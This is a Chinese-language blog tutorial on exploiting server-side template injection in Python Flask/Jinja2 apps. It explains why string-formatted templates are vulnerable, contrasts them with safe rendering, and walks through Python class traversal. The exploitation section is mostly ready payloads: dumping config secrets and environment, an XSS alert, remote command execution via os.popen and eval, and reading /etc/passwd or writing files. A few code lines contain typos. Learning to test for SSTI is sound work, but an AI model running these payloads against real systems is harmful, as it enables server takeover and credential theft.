Python SSTI漏洞简单利用

SSTI(Server Side Template Injection,服务器端模板注入)

服务器端使用模板(Web开发中所使用的模板引擎),通过模板引擎对数据进行渲染,再传递给用户,就可以针对特定用户/特定参数生成相应的页面,模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以因此分离,代码复用变得简单,开发效率也随之提高。我们可以类比百度搜索,搜索不同词条得到的结果页面是不同的,但页面的框架是基本不变的。

Flask初识

Flask快速使用

1
2
3
4
5
6
7
8
# 安装虚拟环境
pip install virtualenv
# 生成虚拟环境
virtualenv venv
# 激活环境
./venv/Scripts/activate.bat
# 安装Flask
pip install flask

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 从flask包中导入flask和相应所需函数
from flask import Flask,render_template_string
# 实例化一个Flask类,其中的参数__name__可以替换为其他任意字符串
app = Flask(__name__)

# 定义路由 /,即当用户访问网站首页时,调用 index() 函数
@app.route('/')
def hello_world():
# 也可以使用render_template_string函数来返回一个字符串到页面上,即render_template_string("Hello World!") #
return "Hello World!""

if __name__ == '__main__':
# 启动Flask应用
app.run()

在venv下创建code目录用来存放代码,运行test.py,然后进入http://127.0.0.1:5000/,可以看到网页上显示了Hello World!,代表app启动成功

漏洞原理

存在SSTI漏洞的代码,其根源在于使用字符串格式化(如 %format)将用户输入插入模板字符串中,再传递给 Jinja2 模板引擎渲染

经典漏洞写法

安全:

1
2
3
render_template_string('<h1>Hello {{ name }}</h1>', name=user_input)
# 或
render_template('index.html', name=user_input)

危险:

1
2
3
render_template_string('<h1>Hello %s</h1>' % user_input)
# 或
Template('<h1>Hello %s</h1>' % user_input).render()

经典漏洞例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def index():
name = request.args.get('name', default='guest')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
# 将一段字符串作为模板进行渲染
return render_template_string(t)

"""这样的代码同样存在漏洞
def index():
name = request.args.get('name', default='guest')
t = Template(
'''
<html>
<h1>Hello %s</h1>
</html>
''' % name
)
# 对模板对象进行渲染
return t.render()
"""
app.run()

使用49作为参数id传入,可以看到表达式被成功执行,这就是SSTI漏洞出现的特征

不存在漏洞的代码

1
2
3
4
5
6
7
8
9
10
from flask import Flask, request, render_template
app = Flask(__name__)

@app.route('/')
def index():
name = request.args.get('name', default='guest')
#
return render_template('index.html', name=name)

app.run()

通过观察以上代码,我们可以发现漏洞出现的原因:服务器端将用户可控的输入直接拼接到模板中进行渲染,导致漏洞出现。反之,要解决该漏洞,则只需先将模板渲染,再拼接字符串。

深入到Flask渲染函数原理来讲,render和render_template_string由用户拼接,字符串不会自动转义,而render_template会对字符串计进行自动转义,因此避免了参数被作为表达式执行。

漏洞利用

利用思路

以通过SSTI进行RCE为例,基本的利用思路为:

  • 随便找个倒霉的内置类:[]、“”
  • 通过这个类获取到object类:basebasesmro
  • 通过object类获取所有子类:subclasses()
  • 在子类列表中找到可以利用的类
  • 直接调用类下面函数或使用该类空间下可用的其他模块的函数

魔术方法

魔术方法 作用
init 对象的初始化方法
class 返回对象所属的类
module 返回类所在的模块
mro 返回类的调用顺序,可以此找到其父类(用于找父类
base 获取类的直接父类(用于找父类
bases 获取父类的元组,按它们出现的先后排序(用于找父类
dict 返回当前类的函数、属性、全局变量等
subclasses 返回所有仍处于活动状态的引用的列表,列表按定义顺序排列(用于找子类
globals 获取函数所属空间下可使用的模块(__builtins__)、方法及变量(用于访问全局变量
import 用于导入模块,经常用于导入os模块
builtins 返回Python中的内置函数,如eval

寻找可利用的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 获取对象所属的类
''.__class__
<class 'str'>
().__class__
<class 'tuple'>
[].__class__
<class 'list'>
"".__class__
<class 'str'>

# 获取父类
''.__class__.__base__
<class 'object'>
''.__class__.__bases__
(<class 'object'>,)
''.__class__.__mro__
(<class 'str'>, <class 'object'>)

# 获取子类
''.__class__.__base__.__subclasses__()
''.__class__.__bases__[0].__subclasses__()
''.__class__.__mro__[-1].__subclasses__()

写个脚本跑一下,看看哪个类可以用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import re

# 将查找到的子类列表替换到data中
data = r'''
[<class 'type'>, <class 'weakref'>, ......]
'''
# 在这里添加可以利用的类,下面会介绍这些类的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
for i in userful_class:
if i in c:
print(str(class_list.index(c)) + ": " + c)

构造payload

构造payload,可以获取配置文件、XSS、进行RCE(反弹shell也行)或者文件读写:

  • 获取配置信息

    1
    2
    3
    # 获取配置信息
    {{config}} # 能获取到config,它包含了如数据库链接字符串、连接到第三方的凭证、SECRET_KEY等敏感信息
    {{request.environ}} # 服务器环境信息
  • XSS

    1
    2
    # XSS
    name=<script>alert(/YouAreHacked/)</script>
  • RCE

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    常用:
    #利用config配置信息直接调用os模块(好用)
    {{config.__class__.__init__.__globals__['os'].popen('env').read()}}
    #用"os"模块中listdir列目录(常用于popen被过滤)
    {{config.__class__.__init__.__globals__['os'].listdir('/')}}
    #读取文件(通常读取源码来获得waf)
    {{config.__class__.__init__.__globals__['__builtins__'].open('app.py').read()}}

    # 利用warnings.catch_warnings配合__builtins__得到eval函数,直接梭哈(常用)
    {{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}
    # 读取文件
    {{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].open("flag.txt").read()}}
    #只有文件读取功能
    {{''.__class__.__base__.__subclasses__()[80]('/etc/passwd').read()}}

    # 利用os._wrap_close类所属空间下可用的popen函数进行RCE的payload
    {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
    {{"".__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('whoami').read()}}

    #利用模板语句
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
    {{ b['eval']('__import__("os").popen("type flag.txt").read()') }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}

    不常用:
    # 利用subprocess.Popen类进行RCE的payload
    {{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

    # 利用__import__导入os模块进行利用
    {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

    # 利用linecache类所属空间下可用的os模块进行RCE的payload,假设linecache为第250个子类
    {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
    {{[].__class__.__base__.__subclasses__()[250].__init__.func_globals['linecache'].__dict__.['os'].popen('whoami').read()}}

    # 利用file类(python3将file类删除了,因此只有python2可用)进行文件读
    {{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}}
    {{[].__class__.__base__.__subclasses__()[40]('etc/passwd').readlines()}}
    # 利用file类进行文件写(python2的str类型不直接从属于属于基类,所以要两次 .__bases__)
    {{"".__class__.__bases[0]__.__bases__[0].__subclasses__()[40]('/tmp').write('test')}}

    # 通用getshell,都是通过__builtins__调用eval进行代码执行
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='catch_warnings' %}
    {{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
    {% endif %}
    {% endfor %}

    # 读写文件,通过__builtins__调用open进行文件读写
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='catch_warnings' %}
    {{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
    {% endif %}
    {% endfor %}

参考:

Jinja用法总结

Python SSTI漏洞学习总结

SSTI模板注入(Python+Jinja2)


猫猫🐱



© 2025 子非鲲 使用 Stellar 创建
共发表 44 篇 Blog · 总计 109.6k 字